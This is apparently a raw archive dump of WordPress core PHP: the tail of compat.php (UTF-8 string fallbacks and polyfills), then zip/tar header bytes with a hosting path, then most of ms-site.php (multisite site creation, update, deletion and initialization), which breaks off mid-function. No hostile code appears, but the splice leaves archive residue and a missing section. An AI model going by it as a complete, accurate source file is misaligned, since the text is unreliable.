'blog_charset' ); } /* * The solution below works only for UTF-8, so in case of a different * charset just use built-in substr(). */ if ( ! _is_utf8_charset( $encoding ) ) { return is_null( $length ) ? substr( $str, $start ) : substr( $str, $start, $length ); } if ( _wp_can_use_pcre_u() ) { // Use the regex unicode support to separate the UTF-8 characters into an array. preg_match_all( '/./us', $str, $match ); $chars = is_null( $length ) ? array_slice( $match[0], $start ) : array_slice( $match[0], $start, $length ); return implode( '', $chars ); } $regex = '/( [\x00-\x7F] # single-byte sequences 0xxxxxxx | [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx | \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2 | [\xE1-\xEC][\x80-\xBF]{2} | \xED[\x80-\x9F][\x80-\xBF] | [\xEE-\xEF][\x80-\xBF]{2} | \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3 | [\xF1-\xF3][\x80-\xBF]{3} | \xF4[\x80-\x8F][\x80-\xBF]{2} )/x'; // Start with 1 element instead of 0 since the first thing we do is pop. $chars = array( '' ); do { // We had some string left over from the last round, but we counted it in that last round. array_pop( $chars ); /* * Split by UTF-8 character, limit to 1000 characters (last array element will contain * the rest of the string). */ $pieces = preg_split( $regex, $str, 1000, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY ); $chars = array_merge( $chars, $pieces ); // If there's anything left over, repeat the loop. } while ( count( $pieces ) > 1 && $str = array_pop( $pieces ) ); return implode( '', array_slice( $chars, $start, $length ) ); } if ( ! function_exists( 'mb_strlen' ) ) : /** * Compat function to mimic mb_strlen(). * * @ignore * @since 4.2.0 * * @see _mb_strlen() * * @param string $string The string to retrieve the character length from. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return int String length of `$string`. */ function mb_strlen( $string, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound return _mb_strlen( $string, $encoding ); } endif; /** * Internal compat function to mimic mb_strlen(). * * Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit. * For `$encoding === UTF-8`, the `$str` input is expected to be a valid UTF-8 byte * sequence. The behavior of this function for invalid inputs is undefined. * * @ignore * @since 4.2.0 * * @param string $str The string to retrieve the character length from. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return int String length of `$str`. */ function _mb_strlen( $str, $encoding = null ) { if ( null === $encoding ) { $encoding = get_option( 'blog_charset' ); } /* * The solution below works only for UTF-8, so in case of a different charset * just use built-in strlen(). */ if ( ! _is_utf8_charset( $encoding ) ) { return strlen( $str ); } if ( _wp_can_use_pcre_u() ) { // Use the regex unicode support to separate the UTF-8 characters into an array. preg_match_all( '/./us', $str, $match ); return count( $match[0] ); } $regex = '/(?: [\x00-\x7F] # single-byte sequences 0xxxxxxx | [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx | \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2 | [\xE1-\xEC][\x80-\xBF]{2} | \xED[\x80-\x9F][\x80-\xBF] | [\xEE-\xEF][\x80-\xBF]{2} | \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3 | [\xF1-\xF3][\x80-\xBF]{3} | \xF4[\x80-\x8F][\x80-\xBF]{2} )/x'; // Start at 1 instead of 0 since the first thing we do is decrement. $count = 1; do { // We had some string left over from the last round, but we counted it in that last round. --$count; /* * Split by UTF-8 character, limit to 1000 characters (last array element will contain * the rest of the string). */ $pieces = preg_split( $regex, $str, 1000 ); // Increment. $count += count( $pieces ); // If there's anything left over, repeat the loop. } while ( $str = array_pop( $pieces ) ); // Fencepost: preg_split() always returns one extra item in the array. return --$count; } // sodium_crypto_box() was introduced in PHP 7.2. if ( ! function_exists( 'sodium_crypto_box' ) ) { require ABSPATH . WPINC . '/sodium_compat/autoload.php'; } if ( ! function_exists( 'is_countable' ) ) { /** * Polyfill for is_countable() function added in PHP 7.3. * * Verify that the content of a variable is an array or an object * implementing the Countable interface. * * @since 4.9.6 * * @param mixed $value The value to check. * @return bool True if `$value` is countable, false otherwise. */ function is_countable( $value ) { return ( is_array( $value ) || $value instanceof Countable || $value instanceof SimpleXMLElement || $value instanceof ResourceBundle ); } } if ( ! function_exists( 'array_key_first' ) ) { /** * Polyfill for array_key_first() function added in PHP 7.3. * * Get the first key of the given array without affecting * the internal array pointer. * * @since 5.9.0 * * @param array $array An array. * @return string|int|null The first key of array if the array * is not empty; `null` otherwise. */ function array_key_first( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound if ( empty( $array ) ) { return null; } foreach ( $array as $key => $value ) { return $key; } } } if ( ! function_exists( 'array_key_last' ) ) { /** * Polyfill for `array_key_last()` function added in PHP 7.3. * * Get the last key of the given array without affecting the * internal array pointer. * * @since 5.9.0 * * @param array $array An array. * @return string|int|null The last key of array if the array *. is not empty; `null` otherwise. */ function array_key_last( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound if ( empty( $array ) ) { return null; } end( $array ); return key( $array ); } } if ( ! function_exists( 'array_is_list' ) ) { /** * Polyfill for `array_is_list()` function added in PHP 8.1. * * Determines if the given array is a list. * * An array is considered a list if its keys consist of consecutive numbers from 0 to count($array)-1. * * @see https://github.com/symfony/polyfill-php81/tree/main * * @since 6.5.0 * * @param array $arr The array being evaluated. * @return bool True if array is a list, false otherwise. */ function array_is_list( $arr ) { if ( ( array() === $arr ) || ( array_values( $arr ) === $arr ) ) { return true; } $next_key = -1; foreach ( $arr as $k => $v ) { if ( ++$next_key !== $k ) { return false; } } return true; } } if ( ! function_exists( 'str_contains' ) ) { /** * Polyfill for `str_contains()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if needle is * contained in haystack. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$needle` is in `$haystack`, otherwise false. */ function str_contains( $haystack, $needle ) { if ( '' === $needle ) { return true; } return false !== strpos( $haystack, $needle ); } } if ( ! function_exists( 'str_starts_with' ) ) { /** * Polyfill for `str_starts_with()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if * the haystack begins with needle. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$haystack` starts with `$needle`, otherwise false. */ function str_starts_with( $haystack, $needle ) { if ( '' === $needle ) { return true; } return 0 === strpos( $haystack, $needle ); } } if ( ! function_exists( 'str_ends_with' ) ) { /** * Polyfill for `str_ends_with()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if * the haystack ends with needle. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$haystack` ends with `$needle`, otherwise false. */ function str_ends_with( $haystack, $needle ) { if ( '' === $haystack ) { return '' === $needle; } $len = strlen( $needle ); return substr( $haystack, -$len, $len ) === $needle; } } if ( ! function_exists( 'array_find' ) ) { /** * Polyfill for `array_find()` function added in PHP 8.4. * * Searches an array for the first element that passes a given callback. * * @since 6.8.0 * * @param array $array The array to search. * @param callable $callback The callback to run for each element. * @return mixed|null The first element in the array that passes the `$callback`, otherwise null. */ function array_find( array $array, callable $callback ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( $callback( $value, $key ) ) { return $value; } } return null; } } if ( ! function_exists( 'array_find_key' ) ) { /** * Polyfill for `array_find_key()` function added in PHP 8.4. * * Searches an array for the first key that passes a given callback. * * @since 6.8.0 * * @param array $array The array to search. * @param callable $callback The callback to run for each element. * @return int|string|null The first key in the array that passes the `$callback`, otherwise null. */ function array_find_key( array $array, callable $callback ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( $callback( $value, $key ) ) { return $key; } } return null; } } if ( ! function_exists( 'array_any' ) ) { /** * Polyfill for `array_any()` function added in PHP 8.4. * * Checks if any element of an array passes a given callback. * * @since 6.8.0 * * @param array $array The array to check. * @param callable $callback The callback to run for each element. * @return bool True if any element in the array passes the `$callback`, otherwise false. */ function array_any( array $array, callable $callback ): bool { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( $callback( $value, $key ) ) { return true; } } return false; } } if ( ! function_exists( 'array_all' ) ) { /** * Polyfill for `array_all()` function added in PHP 8.4. * * Checks if all elements of an array pass a given callback. * * @since 6.8.0 * * @param array $array The array to check. * @param callable $callback The callback to run for each element. * @return bool True if all elements in the array pass the `$callback`, otherwise false. */ function array_all( array $array, callable $callback ): bool { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( ! $callback( $value, $key ) ) { return false; } } return true; } } // IMAGETYPE_AVIF constant is only defined in PHP 8.x or later. if ( ! defined( 'IMAGETYPE_AVIF' ) ) { define( 'IMAGETYPE_AVIF', 19 ); } // IMG_AVIF constant is only defined in PHP 8.x or later. if ( ! defined( 'IMG_AVIF' ) ) { define( 'IMG_AVIF', IMAGETYPE_AVIF ); } // IMAGETYPE_HEIC constant is not yet defined in PHP as of PHP 8.3. if ( ! defined( 'IMAGETYPE_HEIC' ) ) { define( 'IMAGETYPE_HEIC', 99 ); } PK. $[#ڕms-site.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/ms-site.php000064400000120550150547774020017244 0ustar00 $value pairs to use. Default empty array. Passed * to the `wp_initialize_site` hook. * @type array $meta Custom site metadata $key => $value pairs to use. Default empty array. * Passed to the `wp_initialize_site` hook. * } * @return int|WP_Error The new site's ID on success, or error object on failure. */ function wp_insert_site( array $data ) { global $wpdb; $now = current_time( 'mysql', true ); $defaults = array( 'domain' => '', 'path' => '/', 'network_id' => get_current_network_id(), 'registered' => $now, 'last_updated' => $now, 'public' => 1, 'archived' => 0, 'mature' => 0, 'spam' => 0, 'deleted' => 0, 'lang_id' => 0, ); $prepared_data = wp_prepare_site_data( $data, $defaults ); if ( is_wp_error( $prepared_data ) ) { return $prepared_data; } if ( false === $wpdb->insert( $wpdb->blogs, $prepared_data ) ) { return new WP_Error( 'db_insert_error', __( 'Could not insert site into the database.' ), $wpdb->last_error ); } $site_id = (int) $wpdb->insert_id; clean_blog_cache( $site_id ); $new_site = get_site( $site_id ); if ( ! $new_site ) { return new WP_Error( 'get_site_error', __( 'Could not retrieve site data.' ) ); } /** * Fires once a site has been inserted into the database. * * @since 5.1.0 * * @param WP_Site $new_site New site object. */ do_action( 'wp_insert_site', $new_site ); // Extract the passed arguments that may be relevant for site initialization. $args = array_diff_key( $data, $defaults ); if ( isset( $args['site_id'] ) ) { unset( $args['site_id'] ); } /** * Fires when a site's initialization routine should be executed. * * @since 5.1.0 * * @param WP_Site $new_site New site object. * @param array $args Arguments for the initialization. */ do_action( 'wp_initialize_site', $new_site, $args ); // Only compute extra hook parameters if the deprecated hook is actually in use. if ( has_action( 'wpmu_new_blog' ) ) { $user_id = ! empty( $args['user_id'] ) ? $args['user_id'] : 0; $meta = ! empty( $args['options'] ) ? $args['options'] : array(); // WPLANG was passed with `$meta` to the `wpmu_new_blog` hook prior to 5.1.0. if ( ! array_key_exists( 'WPLANG', $meta ) ) { $meta['WPLANG'] = get_network_option( $new_site->network_id, 'WPLANG' ); } /* * Rebuild the data expected by the `wpmu_new_blog` hook prior to 5.1.0 using allowed keys. * The `$allowed_data_fields` matches the one used in `wpmu_create_blog()`. */ $allowed_data_fields = array( 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' ); $meta = array_merge( array_intersect_key( $data, array_flip( $allowed_data_fields ) ), $meta ); /** * Fires immediately after a new site is created. * * @since MU (3.0.0) * @deprecated 5.1.0 Use {@see 'wp_initialize_site'} instead. * * @param int $site_id Site ID. * @param int $user_id User ID. * @param string $domain Site domain. * @param string $path Site path. * @param int $network_id Network ID. Only relevant on multi-network installations. * @param array $meta Meta data. Used to set initial site options. */ do_action_deprecated( 'wpmu_new_blog', array( $new_site->id, $user_id, $new_site->domain, $new_site->path, $new_site->network_id, $meta ), '5.1.0', 'wp_initialize_site' ); } return (int) $new_site->id; } /** * Updates a site in the database. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $site_id ID of the site that should be updated. * @param array $data Site data to update. See {@see wp_insert_site()} for the list of supported keys. * @return int|WP_Error The updated site's ID on success, or error object on failure. */ function wp_update_site( $site_id, array $data ) { global $wpdb; if ( empty( $site_id ) ) { return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) ); } $old_site = get_site( $site_id ); if ( ! $old_site ) { return new WP_Error( 'site_not_exist', __( 'Site does not exist.' ) ); } $defaults = $old_site->to_array(); $defaults['network_id'] = (int) $defaults['site_id']; $defaults['last_updated'] = current_time( 'mysql', true ); unset( $defaults['blog_id'], $defaults['site_id'] ); $data = wp_prepare_site_data( $data, $defaults, $old_site ); if ( is_wp_error( $data ) ) { return $data; } if ( false === $wpdb->update( $wpdb->blogs, $data, array( 'blog_id' => $old_site->id ) ) ) { return new WP_Error( 'db_update_error', __( 'Could not update site in the database.' ), $wpdb->last_error ); } clean_blog_cache( $old_site ); $new_site = get_site( $old_site->id ); /** * Fires once a site has been updated in the database. * * @since 5.1.0 * * @param WP_Site $new_site New site object. * @param WP_Site $old_site Old site object. */ do_action( 'wp_update_site', $new_site, $old_site ); return (int) $new_site->id; } /** * Deletes a site from the database. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $site_id ID of the site that should be deleted. * @return WP_Site|WP_Error The deleted site object on success, or error object on failure. */ function wp_delete_site( $site_id ) { global $wpdb; if ( empty( $site_id ) ) { return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) ); } $old_site = get_site( $site_id ); if ( ! $old_site ) { return new WP_Error( 'site_not_exist', __( 'Site does not exist.' ) ); } $errors = new WP_Error(); /** * Fires before a site should be deleted from the database. * * Plugins should amend the `$errors` object via its `WP_Error::add()` method. If any errors * are present, the site will not be deleted. * * @since 5.1.0 * * @param WP_Error $errors Error object to add validation errors to. * @param WP_Site $old_site The site object to be deleted. */ do_action( 'wp_validate_site_deletion', $errors, $old_site ); if ( ! empty( $errors->errors ) ) { return $errors; } /** * Fires before a site is deleted. * * @since MU (3.0.0) * @deprecated 5.1.0 * * @param int $site_id The site ID. * @param bool $drop True if site's table should be dropped. Default false. */ do_action_deprecated( 'delete_blog', array( $old_site->id, true ), '5.1.0' ); /** * Fires when a site's uninitialization routine should be executed. * * @since 5.1.0 * * @param WP_Site $old_site Deleted site object. */ do_action( 'wp_uninitialize_site', $old_site ); if ( is_site_meta_supported() ) { $blog_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->blogmeta WHERE blog_id = %d ", $old_site->id ) ); foreach ( $blog_meta_ids as $mid ) { delete_metadata_by_mid( 'blog', $mid ); } } if ( false === $wpdb->delete( $wpdb->blogs, array( 'blog_id' => $old_site->id ) ) ) { return new WP_Error( 'db_delete_error', __( 'Could not delete site from the database.' ), $wpdb->last_error ); } clean_blog_cache( $old_site ); /** * Fires once a site has been deleted from the database. * * @since 5.1.0 * * @param WP_Site $old_site Deleted site object. */ do_action( 'wp_delete_site', $old_site ); /** * Fires after the site is deleted from the network. * * @since 4.8.0 * @deprecated 5.1.0 * * @param int $site_id The site ID. * @param bool $drop True if site's tables should be dropped. Default false. */ do_action_deprecated( 'deleted_blog', array( $old_site->id, true ), '5.1.0' ); return $old_site; } /** * Retrieves site data given a site ID or site object. * * Site data will be cached and returned after being passed through a filter. * If the provided site is empty, the current site global will be used. * * @since 4.6.0 * * @param WP_Site|int|null $site Optional. Site to retrieve. Default is the current site. * @return WP_Site|null The site object or null if not found. */ function get_site( $site = null ) { if ( empty( $site ) ) { $site = get_current_blog_id(); } if ( $site instanceof WP_Site ) { $_site = $site; } elseif ( is_object( $site ) ) { $_site = new WP_Site( $site ); } else { $_site = WP_Site::get_instance( $site ); } if ( ! $_site ) { return null; } /** * Fires after a site is retrieved. * * @since 4.6.0 * * @param WP_Site $_site Site data. */ $_site = apply_filters( 'get_site', $_site ); return $_site; } /** * Adds any sites from the given IDs to the cache that do not already exist in cache. * * @since 4.6.0 * @since 5.1.0 Introduced the `$update_meta_cache` parameter. * @since 6.1.0 This function is no longer marked as "private". * @since 6.3.0 Use wp_lazyload_site_meta() for lazy-loading of site meta. * * @see update_site_cache() * @global wpdb $wpdb WordPress database abstraction object. * * @param array $ids ID list. * @param bool $update_meta_cache Optional. Whether to update the meta cache. Default true. */ function _prime_site_caches( $ids, $update_meta_cache = true ) { global $wpdb; $non_cached_ids = _get_non_cached_ids( $ids, 'sites' ); if ( ! empty( $non_cached_ids ) ) { $fresh_sites = $wpdb->get_results( sprintf( "SELECT * FROM $wpdb->blogs WHERE blog_id IN (%s)", implode( ',', array_map( 'intval', $non_cached_ids ) ) ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared update_site_cache( $fresh_sites, false ); } if ( $update_meta_cache ) { wp_lazyload_site_meta( $ids ); } } /** * Queue site meta for lazy-loading. * * @since 6.3.0 * * @param array $site_ids List of site IDs. */ function wp_lazyload_site_meta( array $site_ids ) { if ( empty( $site_ids ) ) { return; } $lazyloader = wp_metadata_lazyloader(); $lazyloader->queue_objects( 'blog', $site_ids ); } /** * Updates sites in cache. * * @since 4.6.0 * @since 5.1.0 Introduced the `$update_meta_cache` parameter. * * @param array $sites Array of site objects. * @param bool $update_meta_cache Whether to update site meta cache. Default true. */ function update_site_cache( $sites, $update_meta_cache = true ) { if ( ! $sites ) { return; } $site_ids = array(); $site_data = array(); $blog_details_data = array(); foreach ( $sites as $site ) { $site_ids[] = $site->blog_id; $site_data[ $site->blog_id ] = $site; $blog_details_data[ $site->blog_id . 'short' ] = $site; } wp_cache_add_multiple( $site_data, 'sites' ); wp_cache_add_multiple( $blog_details_data, 'blog-details' ); if ( $update_meta_cache ) { update_sitemeta_cache( $site_ids ); } } /** * Updates metadata cache for list of site IDs. * * Performs SQL query to retrieve all metadata for the sites matching `$site_ids` and stores them in the cache. * Subsequent calls to `get_site_meta()` will not need to query the database. * * @since 5.1.0 * * @param array $site_ids List of site IDs. * @return array|false An array of metadata on success, false if there is nothing to update. */ function update_sitemeta_cache( $site_ids ) { // Ensure this filter is hooked in even if the function is called early. if ( ! has_filter( 'update_blog_metadata_cache', 'wp_check_site_meta_support_prefilter' ) ) { add_filter( 'update_blog_metadata_cache', 'wp_check_site_meta_support_prefilter' ); } return update_meta_cache( 'blog', $site_ids ); } /** * Retrieves a list of sites matching requested arguments. * * @since 4.6.0 * @since 4.8.0 Introduced the 'lang_id', 'lang__in', and 'lang__not_in' parameters. * * @see WP_Site_Query::parse_query() * * @param string|array $args Optional. Array or string of arguments. See WP_Site_Query::__construct() * for information on accepted arguments. Default empty array. * @return WP_Site[]|int[]|int List of WP_Site objects, a list of site IDs when 'fields' is set to 'ids', * or the number of sites when 'count' is passed as a query var. */ function get_sites( $args = array() ) { $query = new WP_Site_Query(); return $query->query( $args ); } /** * Prepares site data for insertion or update in the database. * * @since 5.1.0 * * @param array $data Associative array of site data passed to the respective function. * See {@see wp_insert_site()} for the possibly included data. * @param array $defaults Site data defaults to parse $data against. * @param WP_Site|null $old_site Optional. Old site object if an update, or null if an insertion. * Default null. * @return array|WP_Error Site data ready for a database transaction, or WP_Error in case a validation * error occurred. */ function wp_prepare_site_data( $data, $defaults, $old_site = null ) { // Maintain backward-compatibility with `$site_id` as network ID. if ( isset( $data['site_id'] ) ) { if ( ! empty( $data['site_id'] ) && empty( $data['network_id'] ) ) { $data['network_id'] = $data['site_id']; } unset( $data['site_id'] ); } /** * Filters passed site data in order to normalize it. * * @since 5.1.0 * * @param array $data Associative array of site data passed to the respective function. * See {@see wp_insert_site()} for the possibly included data. */ $data = apply_filters( 'wp_normalize_site_data', $data ); $allowed_data_fields = array( 'domain', 'path', 'network_id', 'registered', 'last_updated', 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' ); $data = array_intersect_key( wp_parse_args( $data, $defaults ), array_flip( $allowed_data_fields ) ); $errors = new WP_Error(); /** * Fires when data should be validated for a site prior to inserting or updating in the database. * * Plugins should amend the `$errors` object via its `WP_Error::add()` method. * * @since 5.1.0 * * @param WP_Error $errors Error object to add validation errors to. * @param array $data Associative array of complete site data. See {@see wp_insert_site()} * for the included data. * @param WP_Site|null $old_site The old site object if the data belongs to a site being updated, * or null if it is a new site being inserted. */ do_action( 'wp_validate_site_data', $errors, $data, $old_site ); if ( ! empty( $errors->errors ) ) { return $errors; } // Prepare for database. $data['site_id'] = $data['network_id']; unset( $data['network_id'] ); return $data; } /** * Normalizes data for a site prior to inserting or updating in the database. * * @since 5.1.0 * * @param array $data Associative array of site data passed to the respective function. * See {@see wp_insert_site()} for the possibly included data. * @return array Normalized site data. */ function wp_normalize_site_data( $data ) { // Sanitize domain if passed. if ( array_key_exists( 'domain', $data ) ) { $data['domain'] = preg_replace( '/[^a-z0-9\-.:]+/i', '', $data['domain'] ); } // Sanitize path if passed. if ( array_key_exists( 'path', $data ) ) { $data['path'] = trailingslashit( '/' . trim( $data['path'], '/' ) ); } // Sanitize network ID if passed. if ( array_key_exists( 'network_id', $data ) ) { $data['network_id'] = (int) $data['network_id']; } // Sanitize status fields if passed. $status_fields = array( 'public', 'archived', 'mature', 'spam', 'deleted' ); foreach ( $status_fields as $status_field ) { if ( array_key_exists( $status_field, $data ) ) { $data[ $status_field ] = (int) $data[ $status_field ]; } } // Strip date fields if empty. $date_fields = array( 'registered', 'last_updated' ); foreach ( $date_fields as $date_field ) { if ( ! array_key_exists( $date_field, $data ) ) { continue; } if ( empty( $data[ $date_field ] ) || '0000-00-00 00:00:00' === $data[ $date_field ] ) { unset( $data[ $date_field ] ); } } return $data; } /** * Validates data for a site prior to inserting or updating in the database. * * @since 5.1.0 * * @param WP_Error $errors Error object, passed by reference. Will contain validation errors if * any occurred. * @param array $data Associative array of complete site data. See {@see wp_insert_site()} * for the included data. * @param WP_Site|null $old_site The old site object if the data belongs to a site being updated, * or null if it is a new site being inserted. */ function wp_validate_site_data( $errors, $data, $old_site = null ) { // A domain must always be present. if ( empty( $data['domain'] ) ) { $errors->add( 'site_empty_domain', __( 'Site domain must not be empty.' ) ); } // A path must always be present. if ( empty( $data['path'] ) ) { $errors->add( 'site_empty_path', __( 'Site path must not be empty.' ) ); } // A network ID must always be present. if ( empty( $data['network_id'] ) ) { $errors->add( 'site_empty_network_id', __( 'Site network ID must be provided.' ) ); } // Both registration and last updated dates must always be present and valid. $date_fields = array( 'registered', 'last_updated' ); foreach ( $date_fields as $date_field ) { if ( empty( $data[ $date_field ] ) ) { $errors->add( 'site_empty_' . $date_field, __( 'Both registration and last updated dates must be provided.' ) ); break; } // Allow '0000-00-00 00:00:00', although it be stripped out at this point. if ( '0000-00-00 00:00:00' !== $data[ $date_field ] ) { $month = substr( $data[ $date_field ], 5, 2 ); $day = substr( $data[ $date_field ], 8, 2 ); $year = substr( $data[ $date_field ], 0, 4 ); $valid_date = wp_checkdate( $month, $day, $year, $data[ $date_field ] ); if ( ! $valid_date ) { $errors->add( 'site_invalid_' . $date_field, __( 'Both registration and last updated dates must be valid dates.' ) ); break; } } } if ( ! empty( $errors->errors ) ) { return; } // If a new site, or domain/path/network ID have changed, ensure uniqueness. if ( ! $old_site || $data['domain'] !== $old_site->domain || $data['path'] !== $old_site->path || $data['network_id'] !== $old_site->network_id ) { if ( domain_exists( $data['domain'], $data['path'], $data['network_id'] ) ) { $errors->add( 'site_taken', __( 'Sorry, that site already exists!' ) ); } } } /** * Runs the initialization routine for a given site. * * This process includes creating the site's database tables and * populating them with defaults. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * @global WP_Roles $wp_roles WordPress role management object. * * @param int|WP_Site $site_id Site ID or object. * @param array $args { * Optional. Arguments to modify the initialization behavior. * * @type int $user_id Required. User ID for the site administrator. * @type string $title Site title. Default is 'Site %d' where %d is the * site ID. * @type array $options Custom option $key => $value pairs to use. Default * empty array. * @type array $meta Custom site metadata $key => $value pairs to use. * Default empty array. * } * @return true|WP_Error True on success, or error object on failure. */ function wp_initialize_site( $site_id, array $args = array() ) { global $wpdb, $wp_roles; if ( empty( $site_id ) ) { return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) ); } $site = get_site( $site_id ); if ( ! $site ) { return new WP_Error( 'site_invalid_id', __( 'Site with the ID does not exist.' ) ); } if ( wp_is_site_initialized( $site ) ) { return new WP_Error( 'site_already_initialized', __( 'The site appears to be already initialized.' ) ); } $network = get_network( $site->network_id ); if ( ! $network ) { $network = get_network(); } $args = wp_parse_args( $args, array( 'user_id' => 0, /* translators: %d: Site ID. */ 'title' => sprintf( __( 'Site %d' ), $site->id ), 'options' => array(), 'meta' => array(), ) ); /** * Filters the arguments for initializing a site. * * @since 5.1.0 * * @param array $args Arguments to modify the initialization behavior. * @param WP_Site $site Site that is being initialized. * @param WP_Network $network Network that the site belongs to. */ $args = apply_filters( 'wp_initialize_site_args', $args, $site, $network ); $orig_installing = wp_installing(); if ( ! $orig_installing ) { wp_installing( true ); } $switch = false; if ( get_current_blog_id() !== $site->id ) { $switch = true; switch_to_blog( $site->id ); } require_once ABSPATH . 'wp-admin/includes/upgrade.php'; // Set up the database tables. make_db_current_silent( 'blog' ); $home_scheme = 'http'; $siteurl_scheme = 'http'; if ( ! is_subdomain_install() ) { if ( 'https' === parse_url( get_home_url( $network->site_id ), PHP_URL_SCHEME ) ) { $home_scheme = 'https'; } if ( 'https' === parse_url( get_network_option( $network->id, 'siteurl' ), PHP_URL_SCHEME ) ) { $siteurl_scheme = 'https'; } } // Populate the site's options. populate_options( array_merge( array( 'home' => untrailingslashit( $home_scheme . '://' . $site->domain . $site->path ), 'siteurl' => untrailingslashit( $siteurl_scheme . '://' . $site->domain . $site->path ), 'blogname' => wp_unslash( $args['title'] ), 'admin_email' => '', 'upload_path' => get_network_option( $network->id, 'ms_files_rewriting' ) ? UPLOADBLOGSDIR . "/{$site->id}/files" : get_blog_option( $network->site_id, 'upload_path' ), 'blog_public' => (int) $site->public, 'WPLANG' => get_network_option( $network->id, 'WPLANG' ), ), $args['options'] ) ); // Clean blog cache after populating options. clean_blog_cache( $site ); // Populate the site's roles. populate_roles(); $wp_roles = new WP_Roles(); // Populate metadata for the site. populate_site_meta( $site->id, $args['meta'] ); // Remove all permissions that may exist for the site. $table_prefix = $wpdb->get_blog_prefix(); delete_metadata( 'user', 0, $table_prefix . 'user_level', null, true ); // Delete all. delete_metadata( 'user', 0, $table_prefix . 'capabilities', null, true ); // Delete all. // Install default site content. wp_install_defaults( $args['user_id'] ); // Set the site administrator. add_user_to_blog( $site->id, $args['user_id'], 'administrator' ); if ( ! user_can( $args['user_id'], 'manage_network' ) && ! get_user_meta( $args['user_id'], 'primary_blog', true ) ) { update_user_meta( $args['user_id'], 'primary_blog', $site->id ); } if ( $switch ) { restore_current_blog(); } wp_installing( $orig_installing ); return true; } /** * Runs the uninitialization routine for a given site. * * This process includes dropping the site's database tables and deleting its uploads directory. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Site $site_id Site ID or object. * @return true|WP_Error True on success, or error object on failure. */ function wp_uninitialize_site( $site_id ) { global $wpdb; if ( empty( $site_id ) ) { return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) ); } $site = get_site( $site_id ); if ( ! $site ) { return new WP_Error( 'site_invalid_id', __( 'Site with the ID does not exist.' ) ); } if ( ! wp_is_site_initialized( $site ) ) { return new WP_Error( 'site_already_uninitialized', __( 'The site appears to be already uninitialized.' ) ); } $users = get_users( array( 'blog_id' => $site->id, 'fields' => 'ids', ) ); // Remove users from the site. if ( ! empty( $users ) ) { foreach ( $users as $user_id ) { remove_user_from_blog( $user_id, $site->id ); } } $switch = false; if ( get_current_blog_id() !== $site->id ) { $switch = true; switch_to_blog( $site->id ); } $uploads = wp_get_upload_dir(); $tables = $wpdb->tables( 'blog' ); /** * Filters the tables to drop when the site is deleted. * * @since MU (3.0.0) * * @param string[] $tables Array of names of the site tables to be dropped. * @param int $site_id The ID of the site to drop tables for. */ $drop_tables = apply_filters( 'wpmu_drop_tables', $tables, $site->id ); foreach ( (array) $drop_tables as $table ) { $wpdb->query( "DROP TABLE IF EXISTS `$table`" ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared } /** * Filters the upload base directory to delete when the site is deleted. * * @since MU (3.0.0) * * @param string $basedir Uploads path without subdirectory. See {@see wp_upload_dir()}. * @param int $site_id The site ID. */ $dir = apply_filters( 'wpmu_delete_blog_upload_dir', $uploads['basedir'], $site->id ); $dir = rtrim( $dir, DIRECTORY_SEPARATOR ); $top_dir = $dir; $stack = array( $dir ); $index = 0; while ( $index < count( $stack ) ) { // Get indexed directory from stack. $dir = $stack[ $index ]; // phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged $dh = @opendir( $dir ); if ( $dh ) { $file = @readdir( $dh ); while ( false !== $file ) { if ( '.' === $file || '..' === $file ) { $file = @readdir( $dh ); continue; } if ( @is_dir( $dir . DIRECTORY_SEPARATOR . $file ) ) { $stack[] = $dir . DIRECTORY_SEPARATOR . $file; } elseif ( @is_file( $dir . DIRECTORY_SEPARATOR . $file ) ) { @unlink( $dir . DIRECTORY_SEPARATOR . $file ); } $file = @readdir( $dh ); } @closedir( $dh ); } ++$index; } $stack = array_reverse( $stack ); // Last added directories are deepest. foreach ( 